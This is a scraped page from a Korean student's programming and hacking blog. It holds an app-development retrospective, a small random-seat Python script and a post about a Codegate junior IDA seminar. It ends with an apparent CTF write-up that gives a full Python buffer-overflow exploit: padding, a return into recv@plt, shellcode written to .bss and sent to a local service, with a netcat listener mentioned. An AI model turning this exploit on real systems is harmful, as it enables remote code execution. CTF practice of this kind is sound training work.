Python Assembly Emulator

2014. 7. 30. 02:16

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

DirectFPS

2014. 7. 19. 01:00

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

CSHOP

2014. 7. 18. 16:14

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Position

2014. 7. 18. 16:13

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

DimiManager 개발 후기

2014. 7. 11. 22:35 from Programming

학교에서 뜻이 맞는 친구들이랑 팀을 꾸려서 STAC 2014 대회 출전 연습겸 어플 개발을 해봤다.

어플 이름은 DimiManager로 학생들의 스케줄을 관리해주고 공지등을 올려주는 그런 앱이다.


결론부터 말하자면..

서버 개발을 맡았었는데 첫 개발이라 그런지 망했고, 여러가지 느낀점들이 많았는데..


1. 어떤 개발이든 기획을 확실히 하자(디비 설계를 포함한..)

2. Trello(일정 관리), 문서화 등을 체계적으로 확실히 하자

3. 소스관리를 확실히 체계적으로 하자 ( 나 같은 경우는 로컬에도 여러곳곳에 저장해놔서 소스들이 햇갈린 적도 많았고 github도 이용했지만 관리가 제대로 안되었다)

4. 서버 개발 같은경우 예외처리를 확실히 해주자

(예외가 생각해보면 정말 많이 있는데 이를 확실히 처리해줘야 될꺼 같다.)


php+mysql을 이용 했는데 나름 연습도 되고 나쁘진 않았던거 같다 ( 첫 팀계발 치곤..)


GCM 사용하면서도 암이 좀 걸렸었는데 오류시 몇가지 팁을 좀 주자면(경험 바탕)


1. MySQL에 reg_id를 저장한 값이 짤리거나 이상한 값이 추가되진 않았는지 

( reg_id 같은 경우 data type을 text로 해줘야 한다.  varchar(100)까지 잡아 주고 해봤는데도 안됫음..)


2. 모듈화를 확실히 하자

예를들어 gcmSend하는 함수는 따로 라이브러리로 빼두고 각 소스별로 msgSend 같은 함수만 선언해서 json으로 넘겨주면 소스가 확실히 읽기 편하고 수정도 편해진다..


3. 클라이언트 같은경우는 ProjectID 서버 같은경우는 API-KEY를 확실히 확인하자


4. GCM 같은 경우는 거의다 인터넷을 통해 소스를 붙여넣기 하지만 그런 과정에서 오류가 생기는 과정이 다반사다. 또한 자기가 가져온 코드가 굉장히 비효율적인 코드일 수도 있기에 항상 여러 소스를 봐보고 가장 적절한걸 고르자.



소스는 완성된것도 아니고 상당히 더러워서 비공개로.. 기능을 별로 없는데 소스가 500줄이 다되가서 ㅜㅜ..

그나저나 요즘 Node.js가 끌리던데 ..

'Programming' 카테고리의 다른 글

android php server gcm & multipart  (0) 2014.10.09
Python Assembly Emulator  (0) 2014.07.30
심심해서 만든거..  (0) 2014.04.11
간단한 정렬 알고리즘 정리  (0) 2014.02.03
타이머 함수  (0) 2014.02.01
Posted by xer0s :

심심해서 만든거..

2014. 4. 11. 13:43 from Programming

반에서 자리를 바꾸는데 해방이 남의 프로그램을 쓸순 없지..


import random


a = []


for i in range(1, 38):

    a.append(i)


random.shuffle(a)


print "#########################################"

print "#                                       #"

print "#                Dimigo HD              #"

print "#               Random Seat             #"

print "#                                       #"

print "#########################################"


for i in range(0, 6):

    for j in range(0+6*i, 6+6*i):

        print '%d\t' % a[j],

    print ""


print a[36] 






'Programming' 카테고리의 다른 글

Python Assembly Emulator  (0) 2014.07.30
DimiManager 개발 후기  (0) 2014.07.11
간단한 정렬 알고리즘 정리  (0) 2014.02.03
타이머 함수  (0) 2014.02.01
[dovelet]-crypt  (0) 2014.01.20
Posted by xer0s :

이번 코드게이트 주니어 세미나때 발표를 하게되었습니다.

발표주제는 IDA, 다양한 기능들로 보다 강력히 사용하기 였는데..

발표를 들으시는 분들중에 생각보다 보안을 처음접하시는 분들이 많더라구요..


실제로 같은고 친구들도 와서 발표 어땟냐고 물어보니 하나도 이해를 못했다는..

발표때도 원하는 말도 다 못하고 나오고 많은걸 느끼게 해준 값진 경험이였습니다. 







발표자료와 데모 영상 첨부합니다. (데모는 중간 3분부터 5분 50초 정도까지 IDA가 lol을 인식하는 과정이 느려서 넘기시고 보셔도 됩니다.) 이해가 안되시는 부분이 있으면 댓글이나 연락 주시면 최대한 빠르게 답변 드릴깨요.



IDA, 다양한 기능들로 보다 강력히 사용하기.pdf






주니어해킹방어대회에서 여러분들을 뵈서 인사도 드리고 국제해킹방어대회장도 갔는데..


정말 위압감이 장난아니더라구요. 열심히 공부해서 좋은팀 구해 꼭 본선도 한번 나가보고 싶네요. 

몇몇팀 사진들 찍어봤습니다.




이건 최종 결과





여담인데.. ppp는 너무 잘하는듯..


'General News > Life story' 카테고리의 다른 글

2014 제 9회 중고생정보보호올림피아드 예선/본선 후기  (4) 2014.10.23
2014 순천향대 청소년 정보보호 페스티벌 예선  (0) 2014.08.14
근황..  (3) 2013.12.31
합격!  (0) 2013.11.27
으..  (0) 2013.09.05
Posted by xer0s :

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.



#!/usr/bin/python

from socket import *

from struct import pack

from time import sleep


p = lambda x : pack("<L", x)


recv_plt = p(0x08048780)

bss = p(0x0804b0a0)


shellcode = "\xdb\xd6\xbb\xed\x91\xd8\x8f\xd9\x74\x24\xf4\x5e\x33\xc9"

shellcode += "\xb1\x12\x31\x5e\x1a\x03\x5e\x1a\x83\xee\xfc\xe2\x18\xa0"

shellcode += "\x03\x78\x01\x90\xf0\xd4\xaf\x15\x7e\x3b\x9f\x7c\x4d\x3c"

shellcode += "\x84\xde\x25\x42\x3a\xdf\xb4\xda\x52\xc1\xd7\x44\xf1\x97"

shellcode += "\x07\xd8\xa5\xee\xc9\x99\x2f\x97\x51\xd3\x2f\x0e\xe5\x32"

shellcode += "\x9f\x8e\x24\x44\x96\x89\x4f\x15\x40\x45\x9f\xe5\xf8\xf1"

shellcode += "\xf0\x6b\x91\x6f\x86\x8f\x31\x23\x11\xae\x01\xc8\xec\xb1"



payload = ""

payload += "write"

payload += "\x41"*0xf0

payload += recv_plt

payload += bss

payload += p(4)

payload += bss

payload += p(len(shellcode))

payload += p(0)


s = socket(AF_INET, SOCK_STREAM)

s.connect(('localhost', 7777))


s.recv(1024)

s.send(payload+"\n")

sleep(1)

s.send(shellcode)



s.recv(1024)

s.close() 


한쪽에서 nc로 대기하고 다른쪽에서 exploit 실행 햇습니당 

'General News > Write-Ups' 카테고리의 다른 글

HackIM nullcon 2015 exploitation100  (0) 2015.01.11
ChristmasCTF ALGO200  (0) 2014.12.26
CSAW CTF 2014 Pybabies  (0) 2014.09.26
ropasaurusrex  (1) 2013.12.06
codegate junior ctf  (0) 2013.07.27
Posted by xer0s :